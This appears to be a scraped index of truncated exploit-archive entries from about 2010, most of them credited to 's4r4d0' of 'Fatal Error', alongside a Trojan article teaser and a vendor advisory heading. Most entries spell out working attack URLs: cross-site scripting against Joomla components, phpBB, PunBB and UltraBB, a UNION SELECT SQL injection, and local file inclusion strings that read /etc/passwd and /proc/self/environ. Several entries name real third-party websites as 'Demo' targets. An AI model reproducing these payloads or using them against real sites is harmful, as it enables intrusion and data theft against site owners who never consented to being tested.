Joomla Product Cross Site Scripting

x Joomla Component Product x Date: 15/05/2010 x Author: s4r4d0 x Contact: [email protected] x Team; Fatal Error x Bug: XSS on Component Product x Example: http://www.site.com/index.php?option=comproduct=XSS x Demo: http://www.breastcancercampaign.org/index.php?option=comproduct="XSS By Fatal Error...

Joomla Comprofiler Cross Site Scripting

x Joomla Component Comprofiler x Date: 15/05/2010 x Author: s4r4d0 x Contact: [email protected] x Team; Fatal Error x Bug: XSS on Component Comprofiler x Example: http://www.site.com/index.php?option=comcomprofiler=XSS x Demo: http://www.euskaletxeak.net/index.php?option=comcomprofiler="XSS By Fat...

Joomla Mosforms Cross Site Scripting

x Joomla Component Mosforms x Date: 15/05/2010 x Author: s4r4d0 x Contact: [email protected] x Team; Fatal Error x Bug: XSS on Component Mosforms x Example: http://www.site.com/index.php?option=commosforms=XSS x Demo: http://www.euskaletxeak.net/index.php?option=commosforms="XSS By Fatal Error x...

Joomla Component com_news com_article com_content com_event XSS

Exploit for php platform in category web applications ==================================================================== Joomla Component comnews comarticle comcontent comevent XSS Vuln ==================================================================== x Joomla Component News x Author: s4r4d0...

Joomla News / Article / Content / Event Cross Site Scripting

x Joomla Component News x Date: 14/05/2010 x Author: s4r4d0 x Contact: [email protected] x Team; Fatal Error x Bug: XSS on Component News x Example: http://www.site.com/index.php?option=comnews=XSS x Demo: http://www.bgci.org/index.php?option=comnews="XSS By Fatal Error x Made in Brazil x Joomla...

Inside a Banker Trojan

The attackers behind the raft of banker Trojans emanating from Brazil these days are continuing to refine their craft and learn new tricks. Their latest efforts have seen them going to greater lengths than ever to obfuscate their creations and hide their true functionality in order to evade...

PHPCOIN 1.2.1 - 'mod.php' Local File Inclusion

Exploit Title: phpCOIN 1.2.1 mod.php LFI vulnerability Author: mlk Software Link: null Version: phpCOIN 1.2.1 Tested on: Linux,BSD and windows Code : on paper phpCOIN 1.2.1 mod.php Local File Inclusion Vulnerability + Discovered by : mlk + Teams : c00kies , BugSec , BotecoUnix & c0d3rs + Sites :...

PHPCOIN 1.2.1 - mod.php Local File Inclusion

PHPCOIN 1.2.1 - mod.php Local File Inclusion Exploit Title: phpCOIN 1.2.1 mod.php LFI vulnerability Author: mlk Software Link: null Version: phpCOIN 1.2.1 Tested on: Linux,BSD and windows Code : on paper phpCOIN 1.2.1 mod.php Local File Inclusion Vulnerability + Discovered by : mlk + Teams :...

UltraBB version 1.17 suffers from a cross site scripting vulnerability

No description provided by source. B UltraBB 1.17 B Download of trial version: http://ultratrial.com/trial.php B Vendor: ultrabb.net BPrice: $99,00 B Author: s4r4d0 B mail: [email protected] B Bug: Cross Site Scripting has benn found on viewpost.php file . B Exploit:...

HAWHAW SQL Injection

o-o HAWHAW C o-o Download: http://www.hawhaw.de/download o-o Vendor: www.hawhaw.de o-o Author: s4r4d0 o-o mail: [email protected] o-o Bug: Sql Injection has benn found on newsread.php file. o-o Exploit: http://host/wap/newsread.php?storyid=-1+UNION+SELECT+1,@@version,3,4 o-o Demo:...

phpBB 2.0.1 Cross Site Scripting

phpBB 2.0.1 Download: http://www.phpbb.com/downloads Vendor: www.phpbb.com Author: s4r4d0 mail: [email protected] Bug: Cross site scripting has benn found on viewtopic.zsp file. Exploit: http://host/bb/viewtopic.zsp?t=Xss Demo: http://www.recipezaar.com/bb/viewtopic.zsp?t="XSS By Fatal Error Made ...

Publique! Framework 2.3 SQL Injection

===== Tempest Security Intelligence - Advisory 01 / 2010 ============= SQL injection vulnerability in Publique! Framework -------------------------------------------------- Authors: Christophe de la Fuente Gustavo Pimentel Bittencourt ===== Table of Contents ================================= 1...

Publique! CMS SQL Injection Vulnerabilities

===== Tempest Security Intelligence - Advisory 01 / 2010 ============= SQL injection vulnerability in Publique! Framework -------------------------------------------------- Authors: Christophe de la Fuente christophe SPAM tempest.com.br Gustavo Pimentel Bittencourt...

PunBB 1.3 Cross Site Scripting

oo PunBB 1.3 oo Download: http://punbb.informer.com/downloads.php oo Vendor: www.punbb.com oo Author: s4r4d0 oo mail: [email protected] oo Bug: Cross site scripting has benn found on viewtopic.php file oo Exploit: http://host/forum/viewtopic.php?pid=Xss oo Demo:...

Joomla 1.5.x Local File Inclusion

Joomla 1.5.x + Download: http://www.joomla.org/download.html + Bug: Local File inclusion in index.php file + Author: s4r4d0 + Mail: [email protected] + Team: Fatal Error + Poc: http://www.site.com/index.php?option=/../../../../../../../../../../../../etc/passwd%00 + Demo:...

XOOPS 2.0.x Content 0.5 SQL Injection

+Xoops 2.0.x Module Content +Donwload of Module:http://prdownloads.sourceforge.net/xoops/XOOPS2modcontent-0.5.zip?download +Author: s4r4d0 +mail:[email protected] +TEAM: Fatal Error +Bug: Sql injection has been found in index.php...

Endonessia CMS 8.4 Loccal File Inclusion

No description provided by source. Endonesia 8.4 CMS Site: http://www.endonesia.org/ Download: http://sourceforge.net/projects/endonesia Bug: Local File Inclusion in mod.php file ! Author: s4r4d0 Mail: [email protected] Team: Fatal Error...

eNdonesia CMS 8.4 - Local File Inclusion

Endonesia 8.4 CMS Site: http://www.endonesia.org/ Download: http://sourceforge.net/projects/endonesia Bug: Local File Inclusion in mod.php file ! Author: s4r4d0 Mail: [email protected] Team: Fatal Error Poc:http://www.site.com/mod.php?mod=/../../../../../../proc/self/environ%00...

eNdonesia CMS 8.4 - Local File Inclusion

eNdonesia CMS 8.4 - Local File Inclusion Endonesia 8.4 CMS Site: http://www.endonesia.org/ Download: http://sourceforge.net/projects/endonesia Bug: Local File Inclusion in mod.php file ! Author: s4r4d0 Mail: [email protected] Team: Fatal Error...

Oscailt 3.3 Local File Inclusion

0 Oscailt 3.3 CMS 0 Download: http://sourceforge.net/projects/oscailt/ 0 Bug: Local File Inclusion in index.php file ! 0 Author: [email protected] 0 Team: Fatal Error 0 Poc: http://www.site.com/index.php?objid=/../../../../../../../../../../proc/self/environ%00 0...